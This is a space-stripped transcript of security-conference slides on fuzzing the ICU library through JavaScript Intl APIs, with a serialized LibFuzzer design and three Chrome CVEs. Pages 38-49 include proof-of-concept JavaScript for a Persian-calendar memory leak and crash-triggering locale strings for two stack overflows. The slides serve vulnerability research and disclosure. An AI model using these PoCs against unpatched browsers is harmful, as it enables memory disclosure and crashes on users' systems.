international problems: serialized fuzzing for icu …€¢ contributions from ibm, google, apple,...

51
Yuan Deng(@scdeny) International Problems: Serialized Fuzzing for ICU Vulnerabilities

Upload: nguyenkhue

Post on 31-Mar-2018

219 views

Category:

Documents


3 download

TRANSCRIPT

Page 1: International Problems: Serialized Fuzzing for ICU …€¢ Contributions from IBM, Google, Apple, Yahoo, ... • Software Internationalization\Globalization • Unicode support •

YuanDeng(@scdeny)

InternationalProblems:SerializedFuzzingforICUVulnerabilities

Page 2: International Problems: Serialized Fuzzing for ICU …€¢ Contributions from IBM, Google, Apple, Yahoo, ... • Software Internationalization\Globalization • Unicode support •

❑ Seniorsecurityresearcher• @Ant-FinancialLight-YearSecurityLab• Chrome/Apple/MicrosoftCVEhunter

❑ ResearchIntrerests• Browserfuzzing• Sandboxbypass

❑ Twitter• @scdeny

WhoamI

Page 3: International Problems: Serialized Fuzzing for ICU …€¢ Contributions from IBM, Google, Apple, Yahoo, ... • Software Internationalization\Globalization • Unicode support •

• AboutICU• ICUforJavaScript• StrictfiltersbeforeICU• FuzzingICUforJavaScript• 3CVEsinChrome

Outline

Page 4: International Problems: Serialized Fuzzing for ICU …€¢ Contributions from IBM, Google, Apple, Yahoo, ... • Software Internationalization\Globalization • Unicode support •

❑ InternationalComponentsforUnicode• OpenSource(since1999)• ContributionsfromIBM,Google,Apple,Yahoo,...• SoftwareInternationalization\Globalization• Unicodesupport• C/C++\Java• http://site.icu-project.org/

AboutICU

Page 5: International Problems: Serialized Fuzzing for ICU …€¢ Contributions from IBM, Google, Apple, Yahoo, ... • Software Internationalization\Globalization • Unicode support •

❑ ServicesprovidedbyICU• CodePageConversion• Collation• Formatting• TimeCalculations• UnicodeSupport• RegularExpression• Bidi

AboutICU

Page 6: International Problems: Serialized Fuzzing for ICU …€¢ Contributions from IBM, Google, Apple, Yahoo, ... • Software Internationalization\Globalization • Unicode support •

• GoogleWebSearch,Google+,Chrome/ChromeOS,Android,etc• ApplemacOS(OS&applications),iOS(iPhone,iPad,iPodtouch),watchOS&tvOS,etc• MicrosoftWindows10-CreatorsUpdate,VisualStudio2017[Electron],VisualStudioCode[Electron],ChakraCore• Harman/BeckerAlfaRomeo,Audi,Bentley,BMW,Buick• Apache,IBM,Adobe

WhoUsesICU?

libicucore.A.dylib

icuin.dll,icuuc.dll

Page 7: International Problems: Serialized Fuzzing for ICU …€¢ Contributions from IBM, Google, Apple, Yahoo, ... • Software Internationalization\Globalization • Unicode support •

❑ JavaScriptfunctionsusingICU• Intl.DateTimeFormat()• Intl.NumberFormat()• Intl.Collator()• Intl.PluralRules()• Object.toLocaleString()• String.toLocaleLowerCase()• Date.toLocaleTimeString()

ICUforJavascript

Page 8: International Problems: Serialized Fuzzing for ICU …€¢ Contributions from IBM, Google, Apple, Yahoo, ... • Software Internationalization\Globalization • Unicode support •

❑ newIntl.NumberFormat([locales[,options]])• localeszh-Hans-CN-u-nu-hanidec

• optionslocaleMatcher,style,currency,minimumIntegerDigits,etc{style:'currency',currency:'EUR'}

ICUforJavascript

Page 9: International Problems: Serialized Fuzzing for ICU …€¢ Contributions from IBM, Google, Apple, Yahoo, ... • Software Internationalization\Globalization • Unicode support •

❑ newIntl.NumberFormat([locales[,options]])

ICUforJavascript

Page 10: International Problems: Serialized Fuzzing for ICU …€¢ Contributions from IBM, Google, Apple, Yahoo, ... • Software Internationalization\Globalization • Unicode support •

❑ newIntl.Collator([locales[,options]])• localesja-JP-u-ca-japanese

• optionslocaleMatcher,timeZone,hour12,weekday,era,year,month,day,etc{weekday:'long',year:'numeric',month:'long',day:'numeric'}

ICUforJavascript

Page 11: International Problems: Serialized Fuzzing for ICU …€¢ Contributions from IBM, Google, Apple, Yahoo, ... • Software Internationalization\Globalization • Unicode support •

❑ newIntl.Collator([locales[,options]])

ICUforJavascript

Page 12: International Problems: Serialized Fuzzing for ICU …€¢ Contributions from IBM, Google, Apple, Yahoo, ... • Software Internationalization\Globalization • Unicode support •

❑ newIntl.DateTimeFormat([locales[,options]])• localesja-JP-u-ca-japanese

• optionslocaleMatcher,timeZone,hour12,weekday,era,year,month,day,etc{weekday:'long',year:'numeric',month:'long',day:'numeric'}

ICUforJavascript

Page 13: International Problems: Serialized Fuzzing for ICU …€¢ Contributions from IBM, Google, Apple, Yahoo, ... • Software Internationalization\Globalization • Unicode support •

❑ newIntl.DateTimeFormat([locales[,options]])

ICUforJavascript

Page 14: International Problems: Serialized Fuzzing for ICU …€¢ Contributions from IBM, Google, Apple, Yahoo, ... • Software Internationalization\Globalization • Unicode support •

❑ CreateDateTimeFormat• Localefiltervarlocale=resolveLocale('dateformat',locales,options);

• TimeZonefiltervartz=canonicalizeTimeZoneID(options.timeZone);

• RuntimefiltervardateFormat=%CreateDateTimeFormat(requestedLocale,{skeleton:ldmlString,timeZone:tz},resolved);

StrictfiltersbeforeICU

Page 15: International Problems: Serialized Fuzzing for ICU …€¢ Contributions from IBM, Google, Apple, Yahoo, ... • Software Internationalization\Globalization • Unicode support •

❑ functionisStructuallyValidLanguageTag• LanguageTagRE

"^(([a-zA-Z]{2,3}(-([a-zA-Z]{3}(-[a-zA-Z]{3}){0,2}))?|[a-zA-Z]{4}|[a-zA-Z]{5,8})(-([a-zA-Z]{4}))?(-([a-zA-Z]{2}|[0-9]{3}))?(-(([a-zA-Z]|[0-9]){5,8}|([0-9]([a-zA-Z]|[0-9]){3})))*(-(([0-9]|[A-WY-Za-wy-z])(-([a-zA-Z]|[0-9]){2,8})+))*(-(x(-([a-zA-Z]|[0-9]){1,8})+))?|(x(-([a-zA-Z]|[0-9]){1,8})+)|((en-GB-oed|i-ami|i-bnn|i-default|i-enochian|i-hak|i-klingon|i-lux|i-mingo|i-navajo|i-pwn|i-tao|i-tay|i-tsu|sgn-BE-FR|sgn-BE-NL|sgn-CH-DE)|(art-lojban|cel-gaulish|no-bok|no-nyn|zh-guoyu|zh-hakka|zh-min|zh-min-nan|zh-xiang)))$”

• LanguageVariantRE"^(([a-zA-Z]|[0-9]){5,8}|([0-9]([a-zA-Z]|[0-9]){3}))$”

• LanguageSingletonRE"^([0-9]|[A-WY-Za-wy-z])$"

StrictfiltersbeforeICU

Page 16: International Problems: Serialized Fuzzing for ICU …€¢ Contributions from IBM, Google, Apple, Yahoo, ... • Software Internationalization\Globalization • Unicode support •

❑ functioncanonicalizeLanguageTag• isStructuallyValidLanguageTag

• %CanonicalizeLanguageTag(runtime-intl.cc)

o uloc_forLanguageTag //localetag➔charicu_result[256]o uloc_toLanguageTag //charicu_result[256]➔localetag

StrictfiltersbeforeICU

Page 17: International Problems: Serialized Fuzzing for ICU …€¢ Contributions from IBM, Google, Apple, Yahoo, ... • Software Internationalization\Globalization • Unicode support •

❑ functionresolveLocale• canonicalizeLanguageTag

• Removeallextensions

replace("-[a-z0-9]{1}-.*",“”)• Matchlocale

availableLocales[locale]• Matchextension

"-u(-[a-z0-9]{2,8})+”

StrictfiltersbeforeICU

Page 18: International Problems: Serialized Fuzzing for ICU …€¢ Contributions from IBM, Google, Apple, Yahoo, ... • Software Internationalization\Globalization • Unicode support •

❑ functioncanonicalizeTimeZoneID

• Area/Location(/Location)*"^([A-Za-z]+)/([A-Za-z_-]+)((?:/[A-Za-z_-]+)+)*$"

• toTitleCaseTimezoneLocation

StrictfiltersbeforeICU

Page 19: International Problems: Serialized Fuzzing for ICU …€¢ Contributions from IBM, Google, Apple, Yahoo, ... • Software Internationalization\Globalization • Unicode support •

❑ runtime-intl.cc

RUNTIME_FUNCTION(Runtime_CreateDateTimeFormat){

icu::SimpleDateFormat*date_format=DateFormat::InitializeDateTimeFormat(isolate,locale,options,resolved);

StrictfiltersbeforeICU

Page 20: International Problems: Serialized Fuzzing for ICU …€¢ Contributions from IBM, Google, Apple, Yahoo, ... • Software Internationalization\Globalization • Unicode support •

❑ intl-objects.ccicu::SimpleDateFormat*DateFormat::InitializeDateTimeFormat({

uloc_forLanguageTag(*bcp47_locale,icu_result,...

icu_locale=icu::Locale(icu_result);

icu::SimpleDateFormat*date_format=CreateICUDateFormat(isolate,icu_locale,options);

}

StrictfiltersbeforeICU

Page 21: International Problems: Serialized Fuzzing for ICU …€¢ Contributions from IBM, Google, Apple, Yahoo, ... • Software Internationalization\Globalization • Unicode support •

❑ intl-objects.ccicu::SimpleDateFormat*CreateICUDateFormat(Isolate*isolate,{

tz=icu::TimeZone::createTimeZone(timezone);

date_format=newicu::SimpleDateFormat(pattern,icu_locale,status);}

StrictfiltersbeforeICU

Page 22: International Problems: Serialized Fuzzing for ICU …€¢ Contributions from IBM, Google, Apple, Yahoo, ... • Software Internationalization\Globalization • Unicode support •

❑ Intl.DateTimeFormatmethods• format()

dateformat.format(date);

• formatToParts()dateformat.formatToParts(date);

• resolvedOptions()dateformat.resolvedOptions(date);

FuzzingICUforJavaScript

Page 23: International Problems: Serialized Fuzzing for ICU …€¢ Contributions from IBM, Google, Apple, Yahoo, ... • Software Internationalization\Globalization • Unicode support •

❑ Intl.DateTimeFormat.formatToParts()

FuzzingICUforJavaScript

Page 24: International Problems: Serialized Fuzzing for ICU …€¢ Contributions from IBM, Google, Apple, Yahoo, ... • Software Internationalization\Globalization • Unicode support •

❑ Randombased• Fuzzer pattern

date = RandomDate(number)formatter = new Intl.DateTimeFormat(RandomLocale(string), RandomOptions())formatter.format(date);

• Result✓ Most of input is invalid //”vf0c^$bB”✓ Too many filters before ICU

FuzzingICUforJavaScript

Page 25: International Problems: Serialized Fuzzing for ICU …€¢ Contributions from IBM, Google, Apple, Yahoo, ... • Software Internationalization\Globalization • Unicode support •

❑ Generationbased• Locales

RandomChoice([ af, ak, am, an, ar, …, zh, zh-CN, zh-HK, zh-Hans, … ])• Unicodeextension

RandomChoice([ nu, ca, hc, co, kn, kf ])• nu for NumberFormatRandomChoice(["arab", "arabext", "bali", "beng”, … ])• ca for DateFormatRandomChoice(["buddhist", "chinese", "coptic", "ethioaa”, …])tag = RandomChoice(glocal) + '-nu-’ + RandomChoice(gnumid)

FuzzingICUforJavaScript

✓ More effective✓ Miss some

case

Page 26: International Problems: Serialized Fuzzing for ICU …€¢ Contributions from IBM, Google, Apple, Yahoo, ... • Software Internationalization\Globalization • Unicode support •

❑ SimpleLibFuzzer// icu_number_format_fuzzer.cc

extern "C" int LLVMFuzzerTestOneInput(const uint8_t* data, size_t size) {

const icu::Locale& locale = GetRandomLocale(&rng);

std::unique_ptr<icu::NumberFormat> fmt(

icu::NumberFormat::createInstance(locale, status));

✓ Usually only fuzz one argument✓ Most crash cases can not be triggered from JavaScript

FuzzingICUforJavaScript

Page 27: International Problems: Serialized Fuzzing for ICU …€¢ Contributions from IBM, Google, Apple, Yahoo, ... • Software Internationalization\Globalization • Unicode support •

FuzzingICUforJavaScriptJavaScrip

t date

locale

timeZone

hour12\hourCycle

formatMatcher

week\day\era

year\month\......

V8 datelocaletimezoneskeleton

ICU icu::SimpleDateFormat()

icu::TimeZone::createTimeZone()icu::SimpleDateFormat::format()

❑ Intl.DateTimeFormat• ArgumentspassedfromJavaScripttoICU

Wefuzzingfromhere

Page 28: International Problems: Serialized Fuzzing for ICU …€¢ Contributions from IBM, Google, Apple, Yahoo, ... • Software Internationalization\Globalization • Unicode support •

classDateFormatInput{intdate;stringlocale;stringtimezone;stringskeleton;

}

❑ Intl.DateTimeFormat• FuzzinginputpatterntoICU:

FuzzingICUforJavaScript

Page 29: International Problems: Serialized Fuzzing for ICU …€¢ Contributions from IBM, Google, Apple, Yahoo, ... • Software Internationalization\Globalization • Unicode support •

• String• ifexists

• ifnotexists

classarguments{StringstrA;IntiB;}

FuzzingICUforJavaScript

strA \0

\0

• Integer• ifexists

• ifnotexiststrue intB

false

❑ Serializingobjectintobytes

Page 30: International Problems: Serialized Fuzzing for ICU …€¢ Contributions from IBM, Google, Apple, Yahoo, ... • Software Internationalization\Globalization • Unicode support •

FuzzingICUforJavaScript

strA \0 true intB ...data

ExtractString(data,size,&strA)

ExtractIntegerSetting(data,size,&intB)

❑ Deserializingobjectfrombytes

classarguments{StringstrA;IntiB;}

Page 31: International Problems: Serialized Fuzzing for ICU …€¢ Contributions from IBM, Google, Apple, Yahoo, ... • Software Internationalization\Globalization • Unicode support •

classDateFormatInput{intdate;stringlocale;stringtimezone;stringskeleton;

}

FuzzingICUforJavaScript

true date locale \0 timezone \0 skeleton \0

❑ SerializingDateFormatInputObject

Page 32: International Problems: Serialized Fuzzing for ICU …€¢ Contributions from IBM, Google, Apple, Yahoo, ... • Software Internationalization\Globalization • Unicode support •

FuzzingICUforJavaScriptJavaScrip

t date

locale

currency

currencyDisplayminimumIntegerDigitsminimumFractionDigitsmaximumFractionDigits

V8 datelocalecurrencycurrencyDisplayminimumIntegerDigitsminimumFractionDigitsmaximumFractionDigits

ICU icu::SimpleNumberFormat()

icu::TimeZone::createTimeZone()icu::SimpleNumberFormat::format()

❑ Intl.NumberFormatArgumentspassedfromJavaScripttoICU:

Page 33: International Problems: Serialized Fuzzing for ICU …€¢ Contributions from IBM, Google, Apple, Yahoo, ... • Software Internationalization\Globalization • Unicode support •

classNumberFormatInput{localestylecurrencycurrencyDisplayminimumIntegerDigitsminimumFractionDigitsmaximumFractionDigitsminimumSignificantDigitsmaximumSignificantDigitsuseGrouping,......}

FuzzingICUforJavaScript

locale \0 style \0 currency \0 currencyDisplay \0 B minim...

locale \0 style \0 percent \0 B minimumIntegerDigits ...

locale \0 \0 B minimumIntegerDigits ...

❑ SerializingNumerFormatInputObject

Page 34: International Problems: Serialized Fuzzing for ICU …€¢ Contributions from IBM, Google, Apple, Yahoo, ... • Software Internationalization\Globalization • Unicode support •

❑ Fuzzerpatternextern "C" int LLVMFuzzerTestOneInput(const uint8_t* data, size_t size) {

ExtractString(data, size, locale);ExtractString(data, size, timezone);ExtractString(data, size, skeleton);ExtractString(data, size, date);icu::SimpleDateFormat(locale, skeleton)icu::TimeZone::createTimeZone(timezone)icu::SimpleDateFormat::format(date)

FuzzingICUforJavaScript

Page 35: International Problems: Serialized Fuzzing for ICU …€¢ Contributions from IBM, Google, Apple, Yahoo, ... • Software Internationalization\Globalization • Unicode support •

❑ Tonsofcrashes

• Filtered locale‘x-x-ndu-lvariant-x-nd’ trigger stack-buffer-underflow

• Invalid skeletonlocale : lg-arskeleton:|[0xfffd]bs-Cyrl-C| trigger out-of-bounddate : -nan == ffffffffffffffff

FuzzingICUforJavaScript

Page 36: International Problems: Serialized Fuzzing for ICU …€¢ Contributions from IBM, Google, Apple, Yahoo, ... • Software Internationalization\Globalization • Unicode support •

❑ Improvement• Add more checker for locale

FuzzingICUforJavaScript

Page 37: International Problems: Serialized Fuzzing for ICU …€¢ Contributions from IBM, Google, Apple, Yahoo, ... • Software Internationalization\Globalization • Unicode support •

❑ Improvement• Skeletoncheck

FuzzingICUforJavaScript

option type option-value

weekday string narrow: 'EEEEE', short: 'EEE', long: 'EEEE'era string narrow: 'GGGGG', short: 'GGG', long: 'GGGG'year string 2-digit: 'yy', numeric: 'y'month string 2-digit: 'MM', numeric: 'M', narrow: 'MMMMM', short: 'MMM', long: 'MMMM'day string 2-digit: 'dd', numeric: 'd'... ... ...

• Validbytes‘EGyMdjhHmsz’

Page 38: International Problems: Serialized Fuzzing for ICU …€¢ Contributions from IBM, Google, Apple, Yahoo, ... • Software Internationalization\Globalization • Unicode support •

❑ Persian Calendar Integer overflow//poc.jsvar dateformatter = new Intl.DateTimeFormat("bs-Cyrl-u-ca-persian");

date = null;Date.prototype["valueOf"] = function (){}; //date return NaN

d = dateformatter.formatToParts(date);

CVE-2017-15422

Page 39: International Problems: Serialized Fuzzing for ICU …€¢ Contributions from IBM, Google, Apple, Yahoo, ... • Software Internationalization\Globalization • Unicode support •

❑ Root Cause//i18n/persncal.cppvoidPersianCalendar::handleComputeFields(int32_tjulianDay,UErrorCode&/*status*/){

int32_tdaysSinceEpoch=julianDay-PERSIAN_EPOCH;//year=1+ClockMath::floorDivide(33*daysSinceEpoch+3,12053);.......dayOfMonth=dayOfYear-kPersianNumDays[month]+1;//OutOfBoundread

}

0x800782ec*33=0x1080f7e06c//overflowedmonth=-67174455x*33>0x80000000x>65075262

CVE-2017-15422

Page 40: International Problems: Serialized Fuzzing for ICU …€¢ Contributions from IBM, Google, Apple, Yahoo, ... • Software Internationalization\Globalization • Unicode support •

❑ Exploit

CVE-2017-15422

dayOfMonth

year

month--

Page 41: International Problems: Serialized Fuzzing for ICU …€¢ Contributions from IBM, Google, Apple, Yahoo, ... • Software Internationalization\Globalization • Unicode support •

❑ Caculate the value from leak

CVE-2017-15422

vardaysSinceEpoch=julianDay-PERSIAN_EPOCH;

varfarvardin1=365*(year-1)+Math.floor((8*year+21)/33);

vardayOfYear=(daysSinceEpoch-farvardin1);

value=(dayOfYear+1-dayOfMonth)&0xffff;

console.log(month,':',toHex(value));

Page 42: International Problems: Serialized Fuzzing for ICU …€¢ Contributions from IBM, Google, Apple, Yahoo, ... • Software Internationalization\Globalization • Unicode support •

❑ Chromeleak memory from kPersianNumDays[ 433835? ]

CVE-2017-15422

Page 43: International Problems: Serialized Fuzzing for ICU …€¢ Contributions from IBM, Google, Apple, Yahoo, ... • Software Internationalization\Globalization • Unicode support •

❑ Safarileak memory from kPersianNumDays[ 433835? ]

CVE-2017-15422

Page 44: International Problems: Serialized Fuzzing for ICU …€¢ Contributions from IBM, Google, Apple, Yahoo, ... • Software Internationalization\Globalization • Unicode support •

❑ Firefoxleak memory from kPersianNumDays[ 433835? ]

CVE-2017-15422

Page 45: International Problems: Serialized Fuzzing for ICU …€¢ Contributions from IBM, Google, Apple, Yahoo, ... • Software Internationalization\Globalization • Unicode support •

❑ Patch

CVE-2017-15422

Page 46: International Problems: Serialized Fuzzing for ICU …€¢ Contributions from IBM, Google, Apple, Yahoo, ... • Software Internationalization\Globalization • Unicode support •

❑ Existfor 5+ years

from 2012-10-3

CVE-2017-15422

Page 47: International Problems: Serialized Fuzzing for ICU …€¢ Contributions from IBM, Google, Apple, Yahoo, ... • Software Internationalization\Globalization • Unicode support •

❑ Existfor 5+ years

from 2012-10-3

CVE-2017-15422

Page 48: International Problems: Serialized Fuzzing for ICU …€¢ Contributions from IBM, Google, Apple, Yahoo, ... • Software Internationalization\Globalization • Unicode support •

❑ NumberingSystem::createInstance Stack Overflow

• PoCvarnf=newIntl.NumberFormat('bs-u-nu-bzcu-cab-cabs-avnlubs-avnihu-zcu-cab-cbs-avnllubs-avnihq-zcu-cab-cbs-ubs-avnihu-cabs-flus-xxd-vnluy');

• RootCausecharbuffer[96];

int32_tcount=inLocale.getKeywordValue("numbers",buffer,sizeof(buffer),status);

if(count>0){

buffer[count]='\0'; //count=99

CVE-2017-15396

Page 49: International Problems: Serialized Fuzzing for ICU …€¢ Contributions from IBM, Google, Apple, Yahoo, ... • Software Internationalization\Globalization • Unicode support •

❑ CanonicalizeLanguageTag Stack Overflow• PoCvardateti1=newIntl.DateTimeFormat("iw-up-a-caiaup-araup-ai-pdu-sp-bs-up-arscna-zeieiaup-araup-arscia-rews-us-up-arscna-zeieiaup-araup-arsciap-arscna-zeieiaup-araup-arscie-u-sp-bs-uaup-arscia");

• RootCausecharicu_result[ULOC_FULLNAME_CAPACITY];uloc_forLanguageTag(*locale_id,icu_result,ULOC_FULLNAME_CAPACITY,nullptr,&error);//notterminatedwith‘\0’......if (uprv_strlen(localeID) > 0) { // overflowed

CVE-2017-15406

Page 50: International Problems: Serialized Fuzzing for ICU …€¢ Contributions from IBM, Google, Apple, Yahoo, ... • Software Internationalization\Globalization • Unicode support •

❑ Acknowledge

• wish.wu• Yu Zhou• All of the team members

Page 51: International Problems: Serialized Fuzzing for ICU …€¢ Contributions from IBM, Google, Apple, Yahoo, ... • Software Internationalization\Globalization • Unicode support •

Thankyou!